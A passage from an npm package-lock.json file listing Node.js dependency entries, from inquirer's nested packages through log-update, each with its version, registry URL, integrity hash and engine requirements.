"^1.0.0" }, "engines": { "node": ">=4" } }, "node_modules/inquirer/node_modules/restore-cursor": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-2.0.0.tgz", "integrity": "sha1-n37ih/gv0ybU/RYpI9YhKe7g368=", "dev": true, "dependencies": { "onetime": "^2.0.0", "signal-exit": "^3.0.2" }, "engines": { "node": ">=4" } }, "node_modules/inquirer/node_modules/string-width": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", "dev": true, "dependencies": { "is-fullwidth-code-point": "^2.0.0", "strip-ansi": "^4.0.0" }, "engines": { "node": ">=4" } }, "node_modules/inquirer/node_modules/strip-ansi": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=", "dev": true, "dependencies": { "ansi-regex": "^3.0.0" }, "engines": { "node": ">=4" } }, "node_modules/is-alphabetical": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-1.0.4.tgz", "integrity": "sha512-DwzsA04LQ10FHTZuL0/grVDk4rFoVH1pjAToYwBrHSxcrBIGQuXrQMtD5U1b0U2XVgKZCTLLP8u2Qxqhy3l2Vg==", "funding": { "type": "github", "url": "https://github.com/sponsors/wooorm" } }, "node_modules/is-alphanumerical": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-1.0.4.tgz", "integrity": "sha512-UzoZUr+XfVz3t3v4KyGEniVL9BDRoQtY7tOyrRybkVNjDFWyo1yhXNGrrBTQxp3ib9BLAWs7k2YKBQsFRkZG9A==", "dependencies": { "is-alphabetical": "^1.0.0", "is-decimal": "^1.0.0" }, "funding": { "type": "github", "url": "https://github.com/sponsors/wooorm" } }, "node_modules/is-arrayish": { "version": "0.2.1", "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=" }, "node_modules/is-buffer": { "version": "2.0.5", "resolved": "https://registry.npmjs.org/is-buffer/-/is-buffer-2.0.5.tgz", "integrity": "sha512-i2R6zNFDwgEHJyQUtJEk0XFi1i0dPFn/oqjK3/vPCcDeJvW5NQ83V8QbicfF1SupOaB0h8ntgBC2YiE7dfyctQ==", "funding": [ { "type": "github", "url": "https://github.com/sponsors/feross" }, { "type": "patreon", "url": "https://www.patreon.com/feross" }, { "type": "consulting", "url": "https://feross.org/support" } ], "engines": { "node": ">=4" } }, "node_modules/is-callable": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/is-callable/-/is-callable-1.1.4.tgz", "integrity": "sha512-r5p9sxJjYnArLjObpjA4xu5EKI3CuKHkJXMhT7kwbpUyIFD1n5PMAsoPvWnvtZiNz7LjkYDRZhd7FlI0eMijEA==", "dev": true, "engines": { "node": ">= 0.4" } }, "node_modules/is-ci": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/is-ci/-/is-ci-3.0.0.tgz", "integrity": "sha512-kDXyttuLeslKAHYL/K28F2YkM3x5jvFPEw3yXbRptXydjD9rpLEz+C5K5iutY9ZiUu6AP41JdvRQwF4Iqs4ZCQ==", "dev": true, "dependencies": { "ci-info": "^3.1.1" }, "bin": { "is-ci": "bin.js" } }, "node_modules/is-core-module": { "version": "2.11.0", "resolved": "https://registry.npmjs.org/is-core-module/-/is-core-module-2.11.0.tgz", "integrity": "sha512-RRjxlvLDkD1YJwDbroBHMb+cukurkDWNyHx7D3oNB5x9rb5ogcksMC5wHCadcXoo67gVr/+3GFySh3134zi6rw==", "dependencies": { "has": "^1.0.3" }, "funding": { "url": "https://github.com/sponsors/ljharb" } }, "node_modules/is-date-object": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/is-date-object/-/is-date-object-1.0.1.tgz", "integrity": "sha1-mqIOtq7rv/d/vTPnTKAbM1gdOhY=", "dev": true, "engines": { "node": ">= 0.4" } }, "node_modules/is-decimal": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-1.0.4.tgz", "integrity": "sha512-RGdriMmQQvZ2aqaQq3awNA6dCGtKpiDFcOzrTWrDAT2MiWrKQVPmxLGHl7Y2nNu6led0kEyoX0enY0qXYsv9zw==", "funding": { "type": "github", "url": "https://github.com/sponsors/wooorm" } }, "node_modules/is-extglob": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", "integrity": "sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==", "dev": true, "engines": { "node": ">=0.10.0" } }, "node_modules/is-fullwidth-code-point": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz", "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==", "engines": { "node": ">=8" } }, "node_modules/is-glob": { "version": "4.0.3", "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.3.tgz", "integrity": "sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==", "dev": true, "dependencies": { "is-extglob": "^2.1.1" }, "engines": { "node": ">=0.10.0" } }, "node_modules/is-hexadecimal": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-1.0.4.tgz", "integrity": "sha512-gyPJuv83bHMpocVYoqof5VDiZveEoGoFL8m3BXNb2VW8Xs+rz9kqO8LOQ5DH6EsuvilT1ApazU0pyl+ytbPtlw==", "funding": { "type": "github", "url": "https://github.com/sponsors/wooorm" } }, "node_modules/is-installed-globally": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/is-installed-globally/-/is-installed-globally-0.4.0.tgz", "integrity": "sha512-iwGqO3J21aaSkC7jWnHP/difazwS7SFeIqxv6wEtLU8Y5KlzFTjyqcSIT0d8s4+dDhKytsk9PJZ2BkS5eZwQRQ==", "dev": true, "dependencies": { "global-dirs": "^3.0.0", "is-path-inside": "^3.0.2" }, "engines": { "node": ">=10" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/is-interactive": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-interactive/-/is-interactive-1.0.0.tgz", "integrity": "sha512-2HvIEKRoqS62guEC+qBjpvRubdX910WCMuJTZ+I9yvqKU2/12eSL549HMwtabb4oupdj2sMP50k+XJfB/8JE6w==", "engines": { "node": ">=8" } }, "node_modules/is-number": { "version": "7.0.0", "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==", "dev": true, "engines": { "node": ">=0.12.0" } }, "node_modules/is-obj": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-2.0.0.tgz", "integrity": "sha512-drqDG3cbczxxEJRoOXcOjtdp1J/lyp1mNn0xaznRs8+muBhgQcrnbspox5X5fOw0HnMnbfDzvnEMEtqDEJEo8w==", "engines": { "node": ">=8" } }, "node_modules/is-path-inside": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz", "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==", "dev": true, "engines": { "node": ">=8" } }, "node_modules/is-plain-obj": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz", "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==", "engines": { "node": ">=8" } }, "node_modules/is-regex": { "version": "1.0.4", "resolved": "https://registry.npmjs.org/is-regex/-/is-regex-1.0.4.tgz", "integrity": "sha1-VRdIm1RwkbCTDglWVM7SXul+lJE=", "dev": true, "dependencies": { "has": "^1.0.1" }, "engines": { "node": ">= 0.4" } }, "node_modules/is-resolvable": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/is-resolvable/-/is-resolvable-1.1.0.tgz", "integrity": "sha512-qgDYXFSR5WvEfuS5dMj6oTMEbrrSaM0CrFk2Yiq/gXnBvD9pMa2jGXxyhGLfvhZpuMZe18CJpFxAt3CRs42NMg==", "dev": true }, "node_modules/is-stream": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-2.0.0.tgz", "integrity": "sha512-XCoy+WlUr7d1+Z8GgSuXmpuUFC9fOhRXglJMx+dwLKTkL44Cjd4W1Z5P+BQZpr+cR93aGP4S/s7Ftw6Nd/kiEw==", "dev": true, "engines": { "node": ">=8" } }, "node_modules/is-symbol": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.0.2.tgz", "integrity": "sha512-HS8bZ9ox60yCJLH9snBpIwv9pYUAkcuLhSA1oero1UB5y9aiQpRA8y2ex945AOtCZL1lJDeIk3G5LthswI46Lw==", "dev": true, "dependencies": { "has-symbols": "^1.0.0" }, "engines": { "node": ">= 0.4" } }, "node_modules/is-text-path": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/is-text-path/-/is-text-path-1.0.1.tgz", "integrity": "sha512-xFuJpne9oFz5qDaodwmmG08e3CawH/2ZV8Qqza1Ko7Sk8POWbkRdwIoAWVhqvq0XeUzANEhKo2n0IXUGBm7A/w==", "dependencies": { "text-extensions": "^1.0.0" }, "engines": { "node": ">=0.10.0" } }, "node_modules/is-typedarray": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=", "dev": true }, "node_modules/is-unicode-supported": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", "engines": { "node": ">=10" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/isarray": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" }, "node_modules/isexe": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=", "dev": true }, "node_modules/isstream": { "version": "0.1.2", "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=", "dev": true }, "node_modules/iterare": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/iterare/-/iterare-1.2.1.tgz", "integrity": "sha512-RKYVTCjAnRthyJes037NX/IiqeidgN1xc3j1RjFfECFp28A1GVwK9nA+i0rJPaHqSZwygLzRnFlzUuHFoWWy+Q==", "engines": { "node": ">=6" } }, "node_modules/joi": { "version": "17.9.2", "resolved": "https://registry.npmjs.org/joi/-/joi-17.9.2.tgz", "integrity": "sha512-Itk/r+V4Dx0V3c7RLFdRh12IOjySm2/WGPMubBT92cQvRfYZhPM2W0hZlctjj72iES8jsRCwp7S/cRmWBnJ4nw==", "dev": true, "dependencies": { "@hapi/hoek": "^9.0.0", "@hapi/topo": "^5.0.0", "@sideway/address": "^4.1.3", "@sideway/formula": "^3.0.1", "@sideway/pinpoint": "^2.0.0" } }, "node_modules/js-tokens": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-3.0.2.tgz", "integrity": "sha1-mGbfOVECEw449/mWvOtlRDIJwls=", "dev": true }, "node_modules/js-yaml": { "version": "3.13.1", "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.13.1.tgz", "integrity": "sha512-YfbcO7jXDdyj0DGxYVSlSeQNHbD7XPWvrVWeVUujrQEoZzWJIRrCPoyk6kL6IAjAG2IolMK4T0hNUe0HOUs5Jw==", "dev": true, "dependencies": { "argparse": "^1.0.7", "esprima": "^4.0.0" }, "bin": { "js-yaml": "bin/js-yaml.js" } }, "node_modules/jsbn": { "version": "0.1.1", "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz", "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=", "dev": true }, "node_modules/json-parse-better-errors": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==" }, "node_modules/json-parse-even-better-errors": { "version": "2.3.1", "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9zIZF7li91kh2w==" }, "node_modules/json-schema": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.4.0.tgz", "integrity": "sha512-es94M3nTIfsEPisRafak+HDLfHXnKBhV3vU5eqPcS3flIWqcxJWgXHXiey3YrpaNsanY5ei1VoYEbOzijuq9BA==", "dev": true }, "node_modules/json-schema-traverse": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", "dev": true }, "node_modules/json-stable-stringify-without-jsonify": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", "integrity": "sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=", "dev": true }, "node_modules/json-stringify-safe": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=" }, "node_modules/jsonfile": { "version": "6.1.0", "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.1.0.tgz", "integrity": "sha512-5dgndWOriYSm5cnYaJNhalLNDKOqFwyDB/rr1E9ZsGciGvKPs8R2xYGCacuf3z6K1YKDz182fd+fY3cn3pMqXQ==", "dependencies": { "universalify": "^2.0.0" }, "optionalDependencies": { "graceful-fs": "^4.1.6" } }, "node_modules/jsonparse": { "version": "1.3.1", "resolved": "https://registry.npmjs.org/jsonparse/-/jsonparse-1.3.1.tgz", "integrity": "sha512-POQXvpdL69+CluYsillJ7SUhKvytYjW9vG/GKpnf+xP8UWgYEM/RaMzHHofbALDiKbbP1W8UEYmgGl39WkPZsg==", "engines": [ "node >= 0.2.0" ] }, "node_modules/JSONStream": { "version": "1.3.5", "resolved": "https://registry.npmjs.org/JSONStream/-/JSONStream-1.3.5.tgz", "integrity": "sha512-E+iruNOY8VV9s4JEbe1aNEm6MiszPRr/UfcHMz0TQh1BXSxHK+ASV1R6W4HpjBhSeS+54PIsAMCBmwD06LLsqQ==", "dependencies": { "jsonparse": "^1.2.0", "through": ">=2.2.7 <3" }, "bin": { "JSONStream": "bin.js" }, "engines": { "node": "*" } }, "node_modules/jsonwebtoken": { "version": "8.5.1", "resolved": "https://registry.npmjs.org/jsonwebtoken/-/jsonwebtoken-8.5.1.tgz", "integrity": "sha512-XjwVfRS6jTMsqYs0EsuJ4LGxXV14zQybNd4L2r0UvbVnSF9Af8x7p5MzbJ90Ioz/9TI41/hTCvznF/loiSzn8w==", "dev": true, "dependencies": { "jws": "^3.2.2", "lodash.includes": "^4.3.0", "lodash.isboolean": "^3.0.3", "lodash.isinteger": "^4.0.4", "lodash.isnumber": "^3.0.3", "lodash.isplainobject": "^4.0.6", "lodash.isstring": "^4.0.1", "lodash.once": "^4.0.0", "ms": "^2.1.1", "semver": "^5.6.0" }, "engines": { "node": ">=4", "npm": ">=1.4.28" } }, "node_modules/jsx-ast-utils": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/jsx-ast-utils/-/jsx-ast-utils-2.1.0.tgz", "integrity": "sha512-yDGDG2DS4JcqhA6blsuYbtsT09xL8AoLuUR2Gb5exrw7UEM19sBcOTq+YBBhrNbl0PUC4R4LnFu+dHg2HKeVvA==", "dev": true, "dependencies": { "array-includes": "^3.0.3" }, "engines": { "node": ">=4.0" } }, "node_modules/jwa": { "version": "1.4.1", "resolved": "https://registry.npmjs.org/jwa/-/jwa-1.4.1.tgz", "integrity": "sha512-qiLX/xhEEFKUAJ6FiBMbes3w9ATzyk5W7Hvzpa/SLYdxNtng+gcurvrI7TbACjIXlsJyr05/S1oUhZrc63evQA==", "dev": true, "dependencies": { "buffer-equal-constant-time": "1.0.1", "ecdsa-sig-formatter": "1.0.11", "safe-buffer": "^5.0.1" } }, "node_modules/jws": { "version": "3.2.2", "resolved": "https://registry.npmjs.org/jws/-/jws-3.2.2.tgz", "integrity": "sha512-YHlZCB6lMTllWDtSPHz/ZXTsi8S00usEV6v1tjq8tOUZzw7DpSDWVXjXDre6ed1w/pd495ODpHZYSdkRTsa0HA==", "dev": true, "dependencies": { "jwa": "^1.4.1", "safe-buffer": "^5.0.1" } }, "node_modules/kind-of": { "version": "6.0.3", "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz", "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw==", "engines": { "node": ">=0.10.0" } }, "node_modules/lazy-ass": { "version": "1.6.0", "resolved": "https://registry.npmjs.org/lazy-ass/-/lazy-ass-1.6.0.tgz", "integrity": "sha1-eZllXoZGwX8In90YfRUNMyTVRRM=", "dev": true, "engines": { "node": "> 0.8" } }, "node_modules/levn": { "version": "0.3.0", "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", "integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=", "dev": true, "dependencies": { "prelude-ls": "~1.1.2", "type-check": "~0.3.2" }, "engines": { "node": ">= 0.8.0" } }, "node_modules/license-checker": { "version": "25.0.1", "resolved": "https://registry.npmjs.org/license-checker/-/license-checker-25.0.1.tgz", "integrity": "sha512-mET5AIwl7MR2IAKYYoVBBpV0OnkKQ1xGj2IMMeEFIs42QAkEVjRtFZGWmQ28WeU7MP779iAgOaOy93Mn44mn6g==", "dev": true, "dependencies": { "chalk": "^2.4.1", "debug": "^3.1.0", "mkdirp": "^0.5.1", "nopt": "^4.0.1", "read-installed": "~4.0.3", "semver": "^5.5.0", "spdx-correct": "^3.0.0", "spdx-expression-parse": "^3.0.0", "spdx-satisfies": "^4.0.0", "treeify": "^1.1.0" }, "bin": { "license-checker": "bin/license-checker" } }, "node_modules/lines-and-columns": { "version": "1.2.4", "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==" }, "node_modules/listr2": { "version": "3.10.0", "resolved": "https://registry.npmjs.org/listr2/-/listr2-3.10.0.tgz", "integrity": "sha512-eP40ZHihu70sSmqFNbNy2NL1YwImmlMmPh9WO5sLmPDleurMHt3n+SwEWNu2kzKScexZnkyFtc1VI0z/TGlmpw==", "dev": true, "dependencies": { "cli-truncate": "^2.1.0", "colorette": "^1.2.2", "log-update": "^4.0.0", "p-map": "^4.0.0", "rxjs": "^6.6.7", "through": "^2.3.8", "wrap-ansi": "^7.0.0" }, "engines": { "node": ">=10.0.0" }, "peerDependencies": { "enquirer": ">= 2.3.0 < 3" } }, "node_modules/listr2/node_modules/rxjs": { "version": "6.6.7", "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.6.7.tgz", "integrity": "sha512-hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ==", "dev": true, "dependencies": { "tslib": "^1.9.0" }, "engines": { "npm": ">=2.0.0" } }, "node_modules/load-json-file": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-4.0.0.tgz", "integrity": "sha1-L19Fq5HjMhYjT9U62rZo607AmTs=", "dependencies": { "graceful-fs": "^4.1.2", "parse-json": "^4.0.0", "pify": "^3.0.0", "strip-bom": "^3.0.0" }, "engines": { "node": ">=4" } }, "node_modules/load-json-file/node_modules/pify": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz", "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=", "engines": { "node": ">=4" } }, "node_modules/locate-path": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-2.0.0.tgz", "integrity": "sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=", "dependencies": { "p-locate": "^2.0.0", "path-exists": "^3.0.0" }, "engines": { "node": ">=4" } }, "node_modules/lodash": { "version": "4.17.21", "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==" }, "node_modules/lodash.includes": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/lodash.includes/-/lodash.includes-4.3.0.tgz", "integrity": "sha1-YLuYqHy5I8aMoeUTJUgzFISfVT8=", "dev": true }, "node_modules/lodash.isboolean": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz", "integrity": "sha1-bC4XHbKiV82WgC/UOwGyDV9YcPY=", "dev": true }, "node_modules/lodash.isinteger": { "version": "4.0.4", "resolved": "https://registry.npmjs.org/lodash.isinteger/-/lodash.isinteger-4.0.4.tgz", "integrity": "sha1-YZwK89A/iwTDH1iChAt3sRzWg0M=", "dev": true }, "node_modules/lodash.ismatch": { "version": "4.4.0", "resolved": "https://registry.npmjs.org/lodash.ismatch/-/lodash.ismatch-4.4.0.tgz", "integrity": "sha512-fPMfXjGQEV9Xsq/8MTSgUf255gawYRbjwMyDbcvDhXgV7enSZA0hynz6vMPnpAb5iONEzBHBPsT+0zes5Z301g==" }, "node_modules/lodash.isnumber": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/lodash.isnumber/-/lodash.isnumber-3.0.3.tgz", "integrity": "sha1-POdoEMWSjQM1IwGsKHMX8RwLH/w=", "dev": true }, "node_modules/lodash.isplainobject": { "version": "4.0.6", "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz", "integrity": "sha1-fFJqUtibRcRcxpC4gWO+BJf1UMs=", "dev": true }, "node_modules/lodash.isstring": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/lodash.isstring/-/lodash.isstring-4.0.1.tgz", "integrity": "sha1-1SfftUVuynzJu5XV2ur4i6VKVFE=", "dev": true }, "node_modules/lodash.once": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/lodash.once/-/lodash.once-4.1.1.tgz", "integrity": "sha1-DdOXEhPHxW34gJd9UEyI+0cal6w=", "dev": true }, "node_modules/log-symbols": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", "dependencies": { "chalk": "^4.1.0", "is-unicode-supported": "^0.1.0" }, "engines": { "node": ">=10" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/log-symbols/node_modules/ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", "dependencies": { "color-convert": "^2.0.1" }, "engines": { "node": ">=8" }, "funding": { "url": "https://github.com/chalk/ansi-styles?sponsor=1" } }, "node_modules/log-symbols/node_modules/chalk": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", "dependencies": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" }, "engines": { "node": ">=10" }, "funding": { "url": "https://github.com/chalk/chalk?sponsor=1" } }, "node_modules/log-symbols/node_modules/color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", "dependencies": { "color-name": "~1.1.4" }, "engines": { "node": ">=7.0.0" } }, "node_modules/log-symbols/node_modules/color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" }, "node_modules/log-symbols/node_modules/has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", "engines": { "node": ">=8" } }, "node_modules/log-symbols/node_modules/supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", "dependencies": { "has-flag": "^4.0.0" }, "engines": { "node": ">=8" } }, "node_modules/log-update": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/log-update/-/log-update-4.0.0.tgz", "integrity": "sha512-9fkkDevMefjg0mmzWFBW8YkFP91OrizzkW3diF7CpG+S2EYdy4+TVfGwz1zeF8x7hCx1ovSPTOE9Ngib74qqUg==", "dev": true, "dependencies": { "ansi-escapes": "^4.3.0", "cli-cursor": "^3.1.0", "slice-ansi": "^4.0.0", "wrap-ansi": "^6.2.0" }, "engines": { "node": ">=10" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/log-update/node_modules/ansi-escapes": { "version": "4.3.2", "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz", "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==", "dev": true, "dependencies": { "type-fest": "^0.21.3" }, "engines": { "node": ">=8" }, "funding": { "url": "https://github.com/sponsors/sindresorhus" } }, "node_modules/log-update/node_modules/ansi-regex": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", "dev": true, "engines": { "node": ">=8" } }, "node_modules/log-update/node_modules/ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", "dev": true, "dependencies": { "color-convert": "^2.0.1" }, "engines": { "node": ">=8" }, "funding": { "url": "https://github.com/chalk/ansi-styles?sponsor=1" } }, "node_modules/log-update/node_modules/color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", "dev": true, "dependencies": { "color-name": "~1.1.4" }, "engines": { "node": ">=7.0.0" 